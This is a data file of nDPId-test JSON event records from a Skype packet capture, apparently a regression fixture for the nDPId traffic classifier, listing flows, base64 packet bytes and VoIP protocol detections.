+00425{"flow_id":107,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":736,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969666,"pkt_ts_usec":429147,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0QwsAAEARVYDAqAEiQTffLDLdnE0AIF\/DnBQCMyjz3r9eJ18XTFVNiAvxrYpQ3ucg"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":736,"source":"skype.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.44","src_port":13021,"dst_port":40013,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":737,"source":"skype.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.26","src_port":13021,"dst_port":40026,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":108,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":737,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969666,"pkt_ts_usec":429312,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA82TgAAEARDlzAqAEinTg0GjLdnFoAKNB4nBYCAAvRN+bFqY3YyxruA93YXf9Qo41EFxKazlLBv\/8="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":737,"source":"skype.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.26","src_port":13021,"dst_port":40026,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":738,"source":"skype.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.155","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":109,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":738,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969666,"pkt_ts_usec":429312,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/\/94AAEARYWbAqAEiQAQXmzLdnEQAK4rqnBgCdE2WfHkd94c\/GZASHmkYP3mRsrUzW7aH679XKkCN7wg="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":738,"source":"skype.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.155","src_port":13021,"dst_port":40004,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":739,"source":"skype.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.41","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":110,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":739,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969666,"pkt_ts_usec":429312,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"0NQSxnP1PBXCt3IOCABFAAA3cPYAAEARJ5XAqAEiQTffKTLdnFsAIyQanBoCqUIPvRhVKRfli2TsAPxez+o30kiStRum"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":739,"source":"skype.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.41","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":740,"source":"skype.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.47","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":111,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":740,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969666,"pkt_ts_usec":429312,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAy3VkAAEARCjDAqAEinTg0LzLdnF0AHgzhnBwC9HB1yp1CFIBUD5AqeEDWvWy7jA=="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":740,"source":"skype.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":1431969666429,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.47","src_port":13021,"dst_port":40029,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00438{"flow_id":87,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":741,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969666,"pkt_ts_usec":480016,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8jDNAAEAGzN\/AqAEinTeCp8N8nF+W1hdKgdGcA4AYECk\/5wAAAQEICj4i6QxOq7X7zDi7upn8y1s="} +00483{"flow_id":99,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":743,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969666,"pkt_ts_usec":618248,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"0NQSxnP1PBXCt3IOCABFAABd03JAAEAGhX\/AqAEinTeCp8N9Abt3wuIecQen4YAYECwtAAAAAQEICj4i6ZVOq7eNha\/REPk0JK+jyXRvQAnIdnOzfqInh3kQnO9afU+VElpw2DvgAIcm25w="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":744,"source":"skype.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":1431969667019,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.150","src_port":50048,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":112,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":744,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":19463,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAYg5AAEAG9xHAqAEinTeClsOAAbtI+pnpAAAAALAC\/\/+D\/AAAAgQFtAEDAwUBAQgKPiLrJgAAAAAEAgAA"} +00436{"flow_id":57,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":745,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":38437,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8xXlAAEAGKgHAqAEi1cezr8NznFXnJeT4bf1jqoAYECrIrwAAAQEICj4i6zhO2zlegPUYPB\/96j4="} +00436{"flow_id":49,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":746,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":108629,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8jf1AAEAGGZDAqAEinTg0LMNwnGCx3l+sHyRlkIAYEClJPgAAAQEICj4i631MZC+5IVzDseW9I30="} +00436{"flow_id":112,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":747,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":145673,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYiSdN4KWwKgBIgG7w4C5VVBeSPqZ6qASOJBi1AAAAgQFrAQCCApOt6EkPiLrJgEDAwk="} +00424{"flow_id":112,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":748,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":145776,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0EhFAAEAGRxvAqAEinTeClsOAAbtI+pnquVVQX4AQECy5ggAAAQEICj4i66JOt6Ek"} +00523{"flow_id":112,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":749,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":145890,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB87wJAAEAGaeHAqAEinTeClsOAAbtI+pnquVVQX4AYECwCsAAAAQEICj4i66JOt6EkgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIBmH0Tl0puQwf7XnF3q02i5"} +00438{"flow_id":101,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":750,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":199850,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8awRAAEAG7h\/AqAEinTeClsN+nEtADbo2Q3FEmYAYECjXfwAAAQEICj4i69hOt5\/KwFGYWtZyg7g="} +00424{"flow_id":112,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":751,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":272591,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA08RxAADcGcQ+dN4KWwKgBIgG7w4C5VVBfSPqaMoAQAB3JKgAAAQEICk63oUM+Iuui"} +00474{"flow_id":112,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":752,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":272699,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"0NQSxnP1PBXCt3IOCABFAABXZX9AAEAG84nAqAEinTeClsOAAbtI+poyuVVQX4AYECxq7gAAAQEICj4i7CBOt6FDtE+JMLnPtxIKxglVlecVLUAud036XUzec3hM4iMJiZPeQZY="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":753,"source":"skype.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":1431969667439,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.166","src_port":50049,"dst_port":40021,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":113,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":753,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":439791,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAvH9AAEAGnJDAqAEinTeCpsOBnFXYqqHbAAAAALAC\/\/9QDQAAAgQFtAEDAwUBAQgKPiLsxwAAAAAEAgAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":754,"source":"skype.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1431969667439,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.141","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":114,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":754,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":439986,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"0NQSxnP1PBXCt3IOCABFAAA9SW0AAEAR5iPAqAEi1cezjTLdnE8AKQ5hnB4CGyqpujGNRC+tNfD9NfpLzFflMbzl80z6vtvIbjHD"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":754,"source":"skype.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1431969667439,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.141","src_port":13021,"dst_port":40015,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":755,"source":"skype.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1431969667439,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.168","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":115,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":755,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":439986,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5JaMAAEARO5vAqAEiQAQXqDLdnEYAJeE7nCAClYKeY8U7yQoFLZ\/n5OmCV2u37neBgVGbscg="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":755,"source":"skype.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1431969667439,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.168","src_port":13021,"dst_port":40006,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":756,"source":"skype.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1431969667440,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.142","src_port":13021,"dst_port":40023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":116,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":756,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":440039,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/+CwAAEAR6vHAqAEinTc4jjLdnFcAKxxKnCIC+gceuOzI36Gk6bxAzIG\/CfJN2Kdzd\/KAG2cg42HExgA="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":756,"source":"skype.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1431969667440,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.142","src_port":13021,"dst_port":40023,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":757,"source":"skype.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1431969667440,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.143","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":117,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":757,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":440039,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0paYAAEARVdzAqAEib91NjzLdnFYAIE1nnCQCSJLvZtGpgN01LZemo1XXZO+oxg0w"} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":757,"source":"skype.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1431969667440,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.143","src_port":13021,"dst_port":40022,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":758,"source":"skype.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1431969667440,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.33","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":118,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":758,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":440039,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBc7oAAEARJM\/AqAEiQTffITLdnEsALfH+nCYCgzglH2UUEeAloaKWvjnBLcR69MpntGSFdWneylROBFqJdg=="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":758,"source":"skype.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1431969667440,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.33","src_port":13021,"dst_port":40011,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00436{"flow_id":113,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":760,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":679820,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYhSdN4KmwKgBIpxVw4FWpWbU2Kqh3KASOJCyZwAAAgQFrAQCCApOrGnnPiLsxwEDAwk="} +00424{"flow_id":113,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":761,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":679894,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA04YFAAEAGd5rAqAEinTeCpsOBnFXYqqHcVqVm1YAQECwIogAAAQEICj4i7bdOrGnn"} +00525{"flow_id":113,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":762,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":680317,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"0NQSxnP1PBXCt3IOCABFAAB6xORAAEAGk\/HAqAEinTeCpsOBnFXYqqHcVqVm1YAYECy3pgAAAQEICj4i7bdOrGnndublI75nXubO21nQycJvJO84XcmJJcjmGsjdZZ7Sh0tXGkpbJzOfwgjXE\/IbWS5lhr9khfI7sGEed7z9CnOIWbYvFHUiqw=="} +00475{"flow_id":112,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":763,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":786047,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"0NQSxnP1PBXCt3IOCABFAABX4dlAAEAGdy\/AqAEinTeClsOAAbtI+poyuVVQX4AYECxo7QAAAQEICj4i7iFOt6FDtE+JMLnPtxIKxglVlecVLUAud036XUzec3hM4iMJiZPeQZY="} +00424{"flow_id":113,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":764,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":810978,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0DPdAADcGVSWdN4KmwKgBIpxVw4FWpWbV2KqiIoAQAB0YLwAAAQEICk6saiM+Iu23"} +00557{"flow_id":113,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":765,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":817973,"pkt_caplen":162,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":162,"pkt_l4_len":128,"pkt":"PBXCt3IO0NQSxnP1CABFAACUDPhAADcGVMSdN4KmwKgBIpxVw4FWpWbV2KqiIoAYAB036gAAAQEICk6saiU+Iu23spYaUgUdZBB0q7Wmfti12eIC5do2SeSf8ucklbk3LV0YZBdAUK3KpCqqC7OJBKxlHne8\/QpziFm2LxR1IqtgUU7nbO064zhJ5p\/EZVIbEEF+VxzdalPoORYPdFWCi8Ax"} +00424{"flow_id":113,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":766,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":818035,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0h0NAAEAG0djAqAEinTeCpsOBnFXYqqIiVqVnNYAQECkHOAAAAQEICj4i7kBOrGol"} +00436{"flow_id":113,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":767,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969667,"pkt_ts_usec":818528,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8aTpAAEAG79nAqAEinTeCpsOBnFXYqqIiVqVnNYAYEClhiQAAAQEICj4i7kBOrGolRtJrmlCDoq4="} 